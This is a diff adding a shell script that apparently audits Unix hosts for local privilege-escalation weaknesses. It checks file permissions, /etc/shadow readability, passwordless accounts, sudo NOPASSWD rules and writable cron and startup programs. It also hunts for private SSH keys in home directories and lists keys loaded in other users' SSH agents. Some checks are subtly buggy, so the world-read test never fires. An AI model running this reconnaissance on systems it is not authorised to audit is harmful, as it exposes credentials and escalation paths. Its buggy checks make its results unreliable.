+	CP_MESSAGE_STACK=$1
+	CHECK_PERMS_FILE=$2
+	CHECK_PERMS_USER=$3
+	CHECK_PERMS_PATH=$4 # optional
+
+	if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then
+		CHECK_PERMS_FOUND=0
+		if [ ! -z "$CHECK_PERMS_PATH" ]; then
+			# Look for it in the supplied path
+			for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do
+				if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then
+					CHECK_PERMS_FOUND=1
+					CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE"
+					break
+				fi
+			done
+		fi
+
+		#if [ "$CHECK_PERMS_FOUND" = "0" ]; then
+		#	echo "ERROR: File $CHECK_PERMS_FILE doesn't exist.  Checking parent path anyway."
+		#	# return 0
+		# fi
+	fi
+
+	C=`echo "$CHECK_PERMS_FILE" | cut -c 1`
+	if [ ! "$C" = "/" ]; then
+		echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE.  Skipping."
+		return 0
+	fi
+
+	echo "    Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE"
+
+	while [ -n "$CHECK_PERMS_FILE" ]; do
+		perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER
+		CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'`
+	done
+}
+
+# Check if $1 can be read by users who are not $2
+check_read_perms () {
+	CP_MESSAGE_STACK=$1
+	CHECK_PERMS_FILE=$2
+	CHECK_PERMS_USER=$3
+
+	if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then
+		echo "ERROR: File $CHECK_PERMS_FILE doesn't exist"
+		return 0
+	fi
+
+	echo "    Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE"
+
+	perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER"
+}
+
+perms_secure_read () {
+	PS_MESSAGE_STACK=$1
+	PERMS_SECURE_FILE=$2
+	PERMS_SECURE_USER=$3
+
+	if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then
+		echo "ERROR: No such file or directory: $PERMS_SECURE_FILE.  Skipping."
+		return 0
+	fi
+
+	# Check if owner is different (but ignore root ownership, that's OK)
+	only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
+
+	# Check group read perm (but ignore root group, that's OK)
+	group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
+
+	# Check world read perm
+	world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE
+}
+
+perms_secure () {
+	PS_MESSAGE_STACK=$1
+	PERMS_SECURE_FILE=$2
+	PERMS_SECURE_USER=$3
+
+	if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then
+		# echo "ERROR: No such file or directory: $PERMS_SECURE_FILE.  Skipping."
+		return 0
+	fi
+
+	# Check if owner is different (but ignore root ownership, that's OK)
+	only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
+
+	# Check group write perm (but ignore root group, that's OK)
+	group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
+
+	# Check world write perm
+	world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE
+}
+
+only_user_can_write () {
+	O_MESSAGE_STACK=$1
+	O_FILE=$2
+	O_USER=$3
+
+	# We just need to check the owner really as the owner
+	# can always grant themselves write access
+	get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN
+	if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then
+		echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE"
+	fi
+}
+
+group_can_write () {
+	O_MESSAGE_STACK=$1
+	O_FILE=$2
+	O_USER=$3 # ignore group write access $3 is only member of group
+
+	get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN
+	P=`ls -lLd $O_FILE | cut -c 6`
+	if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then
+		# check the group actually has some members other than $O_USER
+		group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0
+		if [ "$OTHER_MEMBERS" = "1" ]; then
+			echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE"
+		fi
+	fi
+}
+
+group_has_other_members () {
+	G_GROUP=$1
+	G_USER=$2
+
+	# If LDAP/NIS is being used this script can't check group memberships
+	# we therefore assume the worst.
+	if [ "$EXT_AUTH" = 1 ]; then
+		OTHER_MEMBERS=1
+		return 1
+	fi
+
+	GROUP_LINE=`grep "^$G_GROUP:" /etc/group`
+	MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'`
+
+	GID=`echo "$GROUP_LINE" | cut -f 3 -d :`
+	EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo`
+
+	for M in $MEMBERS; do
+		if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then
+			OTHER_MEMBERS=1
+			return 1
+		fi
+	done
+
+	for M in $EXTRA_MEMBERS; do
+		if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then
+			OTHER_MEMBERS=1
+			return 1
+		fi
+	done
+
+	OTHER_MEMBERS=0
+	return 0
+}
+
+world_can_write () {
+	O_MESSAGE_STACK=$1
+	O_FILE=$2
+
+	P=`ls -lLd $O_FILE | cut -c 9`
+	S=`ls -lLd $O_FILE | cut -c 10`
+
+	if [ "$P" = "w" ]; then
+		if [ "$S" = "t" ]; then
+			echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)"
+		else
+			echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE"
+		fi
+	fi
+}
+
+only_user_can_read () {
+	O_MESSAGE_STACK=$1
+	O_FILE=$2
+	O_USER=$3
+
+	# We just need to check the owner really as the owner
+	# can always grant themselves read access
+	get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN
+	if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then
+		echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE"
+	fi
+}
+
+group_can_read () {
+	O_MESSAGE_STACK=$1
+	O_FILE=$2
+	O_USER=$3
+
+	get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN
+	P=`ls -lLd $O_FILE | cut -c 5`
+	if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then
+		# check the group actually has some members other than $O_USER
+		group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0
+		if [ "$OTHER_MEMBERS" = "1" ]; then
+			echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE"
+		fi
+	fi
+}
+
+world_can_read () {
+	O_MESSAGE_STACK=$1
+	O_FILE=$2
+
+	P=`ls -lLd $O_FILE | cut -c 8`
+
+	if [ "$P" = "w" ]; then
+		echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE"
+	fi
+}
+
+section () {
+	echo
+	echo '############################################'
+	echo $1
+	echo '############################################'
+}
+
+# Guess OS
+if [ -x /usr/bin/showrev ]; then
+	OS="solaris"
+	SHADOW="/etc/shadow"
+elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then
+	OS="hpux"
+	SHADOW="/etc/shadow"
+elif [ -f /etc/master.passwd ]; then
+	OS="bsd"
+	SHADOW="/etc/master.passwd"
+else
+	OS="linux"
+	SHADOW="/etc/shadow"
+fi
+echo "Assuming the OS is: $OS"
+CONFIG_FILES="$CONFIG_FILES $SHADOW"
+
+# Set path so we can access usual directories.  HPUX and some linuxes don't have sbin in the path.
+PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH
+
+# Check dependent programs are installed
+# Assume "which" is installed!
+PROGS="ls awk grep cat mount xargs file ldd strings"
+for PROG in $PROGS; do
+	which $PROG 2>&1 > /dev/null
+	if [ ! $? = "0" ]; then
+		echo "ERROR: Dependend program '$PROG' is mising.  Can't run.  Sorry!"
+		exit 1
+	fi
+done
+
+banner
+
+section "Recording hostname"
+hostname
+
+section "Recording uname"
+uname -a
+
+section "Recording Interface IP addresses"
+if [ $OS = 'hpux' ]; then
+	for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do
+		ifconfig $IFACE 2>/dev/null
+	done
+else
+	ifconfig -a
+fi
+
+section "Checking if external authentication is allowed in /etc/passwd"
+FLAG=`grep '^+:' /etc/passwd`
+if [ -n "$FLAG" ]; then
+	echo "WARNING: /etc/passwd allows external authentcation:"
+	grep '^+:' /etc/passwd
+	EXT_AUTH=1
+else
+	echo "No +:... line found in /etc/passwd"
+fi
+
+section "Checking nsswitch.conf for addition authentication methods"
+if [ -r "/etc/nsswitch.conf" ]; then
+	NIS=`grep '^passwd' /etc/nsswitch.conf  | grep 'nis'`
+	if [ -n "$NIS" ]; then
+		echo "WARNING: NIS is used for authentication on this system"
+		EXT_AUTH=1
+	fi
+	LDAP=`grep '^passwd' /etc/nsswitch.conf  | grep 'ldap'`
+	if [ -n "$LDAP" ]; then
+		echo "WARNING: LDAP is used for authentication on this system"
+		EXT_AUTH=1
+	fi
+
+	if [ -z "$NIS" ] && [ -z "$LDAP" ]; then
+		echo "Neither LDAP nor NIS are used for authentication"
+	fi
+else
+	echo "ERROR: File /etc/nsswitch.conf isn't readable.  Skipping checks."
+fi
+
+# Check important config files aren't writable
+section "Checking for writable config files"
+for FILE in $CONFIG_FILES; do
+	if [ -f "$FILE" ]; then
+		check_perms "$FILE is a critical config file." "$FILE" root
+	fi
+done
+
+section "Checking if $SHADOW is readable"
+check_read_perms "/etc/shadow holds authentication data" $SHADOW root
+
+section "Checking for password hashes in /etc/passwd"
+FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'`
+if [ -n "$FLAG" ]; then
+	echo "WARNING: There seem to be some password hashes in /etc/passwd"
+	grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'
+	EXT_AUTH=1
+else
+	echo "No password hashes found in /etc/passwd"
+fi
+
+section "Checking account settings"
+# Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd
+# We only need read access to /etc/passwd to be able to check this.
+if [ -r "/etc/passwd" ]; then
+	OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"`
+	if [ -n "$OPEN" ]; then
+		echo "WARNING: The following accounts have no password:"
+		grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"
+	fi
+fi
+if [ -r "$SHADOW" ]; then
+	echo "Checking for accounts with no passwords"
+	if [ "$OS" = "linux" ]; then
+		passwd -S -a | while read LINE
+		do
+			USER=`echo "$LINE" | awk '{print $1}'`
+			STATUS=`echo "$LINE" | awk '{print $2}'`
+			if [ "$STATUS" = "NP" ]; then
+				echo "WARNING: User $USER doesn't have a password"
+			fi
+		done
+	elif [ "$OS" = "solaris" ]; then
+		passwd -s -a | while read LINE
+		do
+			USER=`echo "$LINE" | awk '{print $1}'`
+			STATUS=`echo "$LINE" | awk '{print $2}'`
+			if [ "$STATUS" = "NP" ]; then
+				echo "WARNING: User $USER doesn't have a password"
+			fi
+		done
+	fi
+else
+	echo "File $SHADOW isn't readable.  Skipping some checks."
+fi
+
+section "Checking library directories from /etc/ld.so.conf"
+if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then
+	for DIR in `grep '^/' /etc/ld.so.conf`; do
+		check_perms "$DIR is in /etc/ld.so.conf." $DIR root
+	done
+
+	#FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'`
+	#if [ ! -z "$FILES" ]; then
+	#	for DIR in `echo $FILES | xargs cat | sort -u`; do
+	#	done
+	#fi
+else
+	echo "File /etc/ld.so.conf not present.  Skipping checks."
+fi
+
+# Check sudoers if we have permission - needs root normally
+section "Checking sudo configuration"
+if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then
+	echo -----------------
+	echo "Checking if sudo is configured"
+	SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =`
+	if [ ! -z "$SUDO_USERS" ]; then
+		echo "WARNING: Sudo is configured.  Manually check nothing unsafe is allowed:"
+		grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default'
+	fi
+
+	echo -----------------
+	echo "Checking sudo users need a password"
+	SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD`
+	if [ ! -z "$SUDO_NOPASSWD" ]; then
+		echo "WARNING: Some users can use sudo without a password:"
+		grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD
+	fi
+else
+	echo "File /etc/sudoers not present.  Skipping checks."
+fi
+
+section "Checking permissions on swap file(s)"
+for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do
+	check_perms "$SWAP is used for swap space." $SWAP root
+	check_read_perms "$SWAP is used for swap space." $SWAP root
+done
+
+section "Checking programs run from inittab"
+if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then
+	for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do
+		check_called_programs "$FILE is run from /etc/inittab as root." $FILE root
+	done
+else
+	echo "File /etc/inittab not present.  Skipping checks."
+fi
+
+section "Checking postgres trust relationships"
+for DIR in $PGDIRS; do
+	if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then
+		grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE
+		do
+			AUTH=`echo "$LINE" | awk '{print $NF}'`
+			if [ "$AUTH" = "trust" ]; then
+				PGTRUST=1
+				echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE"
+			fi
+		done
+	fi
+done
+
+PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`
+
+if [ -n "$PGVER1" ]; then
+	PGTRUST=1
+	echo "WARNING: Can connect to local postgres database as \"postgres\" without a password"
+fi
+
+PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`
+
+if [ -n "$PGVER2" ]; then
+	PGTRUST=1
+	echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password"
+fi
+
+if [ -z "$PGTRUST" ]; then
+	echo "No postgres trusts detected"
+fi
+
+# Check device files for mounted file systems are secure
+# cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root
+section "Checking permissions on device files for mounted partitions"
+if [ "$OS" = "linux" ]; then
+	mount | while read LINE
+	do
+		DEVICE=`echo "$LINE" | awk '{print $1}'`
+		FS=`echo "$LINE" | awk '{print $5}'`
+		if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[  "$FS" = "reiserfs" ]; then
+			echo "Checking device $DEVICE"
+			check_perms "$DEVICE is a mounted file system." $DEVICE root
+		fi
+	done
+elif [ "$OS" = "bsd" ]; then
+	mount | grep ufs | while read LINE
+	do
+		DEVICE=`echo "$LINE" | awk '{print $1}'`
+		echo "Checking device $DEVICE"
+		check_perms "$DEVICE is a mounted file system." $DEVICE root
+	done
+elif [ "$OS" = "solaris" ]; then
+	mount | grep xattr | while read LINE
+	do
+		DEVICE=`echo "$LINE" | awk '{print $3}'`
+		if [ ! "$DEVICE" = "swap" ]; then
+			echo "Checking device $DEVICE"
+			check_perms "$DEVICE is a mounted file system." $DEVICE root
+		fi
+	done
+elif [ "$OS" = "hpux" ]; then
+	mount | while read LINE
+	do
+		DEVICE=`echo "$LINE" | awk '{print $3}'`
+		C=`echo $DEVICE | cut -c 1`
+		if [ "$C" = "/" ]; then
+			echo "Checking device $DEVICE"
+			check_perms "$DEVICE is a mounted file system." $DEVICE root
+		fi
+	done
+
+	NFS=`mount | grep NFS`
+	if [ -n "$NFS" ]; then
+		echo "WARNING: This system is an NFS client.  Check for nosuid and nodev options."
+		mount | grep NFS
+	fi
+fi
+
+# Check cron jobs if they're readable
+# TODO check that cron is actually running
+section "Checking cron job programs aren't writable (/etc/crontab)"
+CRONDIRS=""
+if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then
+	MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = `
+	echo Crontab path is $MYPATH
+
+	# Check if /etc/cron.(hourly|daily|weekly|monthly) are being used
+	CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons`
+
+	# Process run-parts
+	grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE
+	do
+		echo "Processing crontab run-parts entry: $LINE"
+		USER=`echo "$LINE" | awk '{print $6}'`
+		DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'`
+		check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER"
+		if [ -d "$DIR" ]; then
+			echo "    Checking directory: $DIR"
+			for FILE in $DIR/*; do
+				FILENAME=`echo "$FILE" | sed 's/.*\///'`
+				if [ "$FILENAME" = "*" ]; then
+					echo "    No files in this directory."
+					continue
+				fi
+				check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER"
+			done
+		fi
+	done
+
+	# TODO bsd'd periodic:
+	# 1       3       *       *       *       root    periodic daily
+	# 15      4       *       *       6       root    periodic weekly
+	# 30      5       1       *       *       root    periodic monthly
+
+	grep -v '^#' /etc/crontab | grep -v '^[ 	]*$' | grep '[ 	][^ 	][^ 	]*[ 	][ 	]*' | while read LINE
+	do
+		echo "Processing crontab entry: $LINE"
+		USER=`echo "$LINE" | awk '{print $6}'`
+		PROG=`echo "$LINE" | awk '{print $7}'`
+		check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH
+	done
+else
+	echo "File /etc/crontab not present.  Skipping checks."
+fi
+
+# Do this if run-crons is run from /etc/crontab
+if [ -n "$CRONDIRS" ]; then
+	USER=`echo "$CRONDIRS" | awk '{print $6}'`
+	section "Checking /etc/cron.(hourly|daily|weekly|monthly)"
+	for DIR in hourly daily weekly monthly; do
+		if [ -d "/etc/cron.$DIR" ]; then
+			echo "    Checking directory: /etc/cron.$DIR"
+			for FILE in /etc/cron.$DIR/*; do
+				FILENAME=`echo "$FILE" | sed 's/.*\///'`
+				if [ "$FILENAME" = "*" ]; then
+					echo "No files in this directory."
+					continue
+				fi
+				check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER
+			done
+		fi
+	done
+fi
+
+section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)"
+if [ -d "/var/spool/cron/crontabs" ]; then
+	for FILE in /var/spool/cron/crontabs/*; do
+		USER=`echo "$FILE" | sed 's/^.*\///'`
+		if [ "$USER" = "*" ]; then
+			echo "No user crontabs found in /var/spool/cron/crontabs.  Skipping checks."
+			continue
+		fi
+		echo "Processing crontab for $USER: $FILE"
+		if [ -r "$FILE" ]; then
+			MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = `
+			if [ -n "$MYPATH" ]; then
+				echo Crontab path is $MYPATH
+			fi
+			grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE
+			do
+				echo "Processing crontab entry: $LINE"
+				PROG=`echo "$LINE" | awk '{print $6}'`
+				check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER
+			done
+		else
+			echo "ERROR: Can't read file $FILE"
+		fi
+	done
+else
+	echo "Directory /var/spool/cron/crontabs is not present.  Skipping checks."
+fi
+
+section "Checking cron job programs aren't writable (/var/spool/cron/tabs)"
+if [ -d "/var/spool/cron/tabs" ]; then
+	for FILE in /var/spool/cron/tabs/*; do
+		USER=`echo "$FILE" | sed 's/^.*\///'`
+		if [ "$USER" = "*" ]; then
+			echo "No user crontabs found in /var/spool/cron/crontabs.  Skipping checks."
+			continue
+		fi
+		echo "Processing crontab for $USER: $FILE"
+		if [ -r "$FILE" ]; then
+			MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = `
+			if [ -n "$MYPATH" ]; then
+				echo Crontab path is $MYPATH
+			fi
+			grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE
+			do
+				echo "Processing crontab entry: $LINE"
+				PROG=`echo "$LINE" | awk '{print $6}'`
+				check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH
+			done
+		else
+			echo "ERROR: Can't read file $FILE"
+		fi
+	done
+else
+	echo "Directory /var/spool/cron/tabs is not present.  Skipping checks."
+fi
+
+# Check programs run from /etc/inetd.conf have secure permissions
+# TODO: check inetd is actually running
+section "Checking inetd programs aren't writable"
+if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then
+	grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE
+	do
+		USER=`echo $LINE | awk '{print $5}'`
+		PROG=`echo $LINE | awk '{print $6}'`  # could be tcpwappers ...
+		PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog
+		if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then
+			# Not calling an external program
+			continue
+		fi
+		echo Processing inetd line: $LINE
+		if [ -f "$PROG" ]; then
+			check_called_programs "$PROG is run from inetd as $USER." $PROG $USER
+		fi
+		if [ -f "$PROG2" ]; then
+			check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER
+		fi
+	done
+else
+	echo "File /etc/inetd.conf not present.  Skipping checks."
+fi
+
+# Check programs run from /etc/xinetd.d/*
+# TODO: check xinetd is actually running
+section "Checking xinetd programs aren't writeable"
+if [ -d /etc/xinetd.d ]; then
+	for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do
+		echo Processing xinetd service file: $FILE
+		PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'`
+		USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'`
+		check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER
+	done
+else
+	echo "Directory /etc/xinetd.d not present.  Skipping checks."
+fi
+
+# Check for writable home directories
+section "Checking home directories aren't writable"
+cat /etc/passwd | grep -v '^#' | while read LINE
+do
+	echo Processing /etc/passwd line: $LINE
+	USER=`echo $LINE | cut -f 1 -d :`
+	DIR=`echo $LINE | cut -f 6 -d :`
+	SHELL=`echo $LINE | cut -f 7 -d :`
+	if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then
+		echo "    Skipping user $USER.  They don't have a shell."
+	else
+		if [ "$DIR" = "/dev/null" ]; then
+			echo "    Skipping /dev/null home directory"
+		else
+			check_perms "$DIR is the home directory of $USER." $DIR $USER
+		fi
+	fi
+done
+
+# Check for readable files in home directories
+section "Checking for readable sensitive files in home directories"
+cat /etc/passwd | while read LINE
+do
+	USER=`echo $LINE | cut -f 1 -d :`
+	DIR=`echo $LINE | cut -f 6 -d :`
+	SHELL=`echo $LINE | cut -f 7 -d :`
+	for FILE in $HOME_DIR_FILES; do
+		if [ -f "$DIR/$FILE" ]; then
+			check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER
+		fi
+	done
+done
+
+section "Checking SUID programs"
+if [ "$MODE" = "detailed" ]; then
+	for FILE in `find / -type f -perm -04000 2>/dev/null`; do
+		check_called_programs_suid $FILE
+	done
+else
+	echo "Skipping checks of SUID programs (it's slow!).  Run again in 'detailed' mode."
+fi
+
+# Check for private SSH keys in home directories
+section "Checking for Private SSH Keys home directories"
+for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do
+	if [ -d "$HOMEDIR/.ssh" ]; then
+		PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null`
+		if [ -n "$PRIV_KEYS" ]; then
+			for KEY in $PRIV_KEYS; do
+				ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null`
+				if [ -n "$ENC_KEY" ]; then
+					echo "WARNING: Encrypted Private SSH Key Found in $KEY"
+				else
+					echo "WARNING: Unencrypted Private SSH Key Found in $KEY"
+				fi
+			done
+		fi
+	fi
+done
+
+# Check for public SSH keys in home directories
+section "Checking for Public SSH Keys home directories"
+for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do
+	if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then
+		KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null`
+		if [ -n "$KEYS" ]; then
+			echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys"
+		fi
+	fi
+done
+
+# Check for any SSH agents running on the box
+section "Checking for SSH agents"
+AGENTS=`ps -ef | grep ssh-agent | grep -v grep`
+if [ -n "$AGENTS" ]; then
+	echo "WARNING: There are SSH agents running on this system:"
+	ps -ef | grep ssh-agent | grep -v grep
+	# for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do
+	for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do
+		SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK
+		AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null`
+		if [ -n "$AGENT_KEYS" ]; then
+			echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]"
+			ssh-add -l
+		fi
+	done
+else
+	echo "No SSH agents found"
+fi
+
+# Check for any GPG agents running on the box
+section "Checking for GPG agents"
+AGENTS=`ps -ef | grep gpg-agent | grep -v grep`
+if [ -n "$AGENTS" ]; then
+	echo "WARNING: There are GPG agents running on this system:"
+	ps aux | grep gpg-agent | grep -v grep
+else
+	echo "No GPG agents found"
+fi
+
+# Check files in /etc/init.d/* can't be modified by non-root users
+section "Checking startup files (init.d / rc.d) aren't writable"
+for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do
+	if [ -d "$DIR" ]; then
+		for FILE in $DIR/*; do
+	                F=`echo "$FILE" | sed 's/^.*\///'`
+	                if [ "$F" = "*" ]; then
+	                        echo "No user startup script found in $DIR.  Skipping checks."
+	                        continue
+	                fi
+			echo Processing startup script $FILE
+			check_called_programs "$FILE is run by root at startup." $FILE root
+		done
+	fi
+done
+
+section "Checking if running programs are writable"
+if [ $OS = "solaris" ]; then
+	# use the output of ps command
+	ps -ef -o user,comm | while read LINE
+	do
+		USER=`echo "$LINE" | awk '{print $1}'`
+		PROG=`echo "$LINE" | awk '{print $2}'`
+		check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER"
+	done
+elif [ $OS = "bsd" ]; then
+	# use the output of ps command
+	ps aux | while read LINE
+	do
+		USER=`echo "$LINE" | awk '{print $1}'`
+		PROG=`echo "$LINE" | awk '{print $11}'`
+		check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER"
+	done
+elif [ $OS = "hpux" ]; then
+	# use the output of ps command
+	ps -ef | while read LINE
+	do
+		USER=`echo "$LINE" | awk '{print $1}'`
+		PROG1=`echo "$LINE" | awk '{print $8}'`
+		PROG2=`echo "$LINE" | awk '{print $9}'`
+		if [ -f "$PROG1" ]; then
+			check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER"
+		fi
+		if [ -f "$PROG2" ]; then
+			check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER"
+		fi
+	done
+elif [ $OS = "linux" ]; then
+	# use the /proc file system
+	for PROCDIR in /proc/[0-9]*; do
+		unset PROGPATH
+		PID=`echo $PROCDIR | cut -f 3 -d /`
+		echo ------------------------
+		echo "PID:           $PID"
+		if [ -d "$PROCDIR" ]; then
+			if [ -r "$PROCDIR/exe" ]; then
+				PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'`
+			else
+				if [ -r "$PROCDIR/cmdline" ]; then
+					P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'`
+					if [ -z "$P" ]; then
+						echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline`
+					else
+						PROGPATH=$P
+					fi
+				else
+					echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline`
+					continue
+				fi
+			fi
+			get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN
+			echo "Owner:         $OWNER"
+		else
+			echo "ERROR: Can't find OWNER.  Process has gone."
+			continue
+		fi
+
+		if [ -n "$PROGPATH" ]; then
+			get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN
+			echo "Program path:  $PROGPATH"
+			check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER
+		fi
+
+		if [ "$MODE" == "detailed" ]; then
+			for FILE in $PROCDIR/fd/*; do
+		                F=`echo "$FILE" | sed 's/^.*\///'`
+		                if [ "$F" = "*" ]; then
+		                        continue
+		                fi
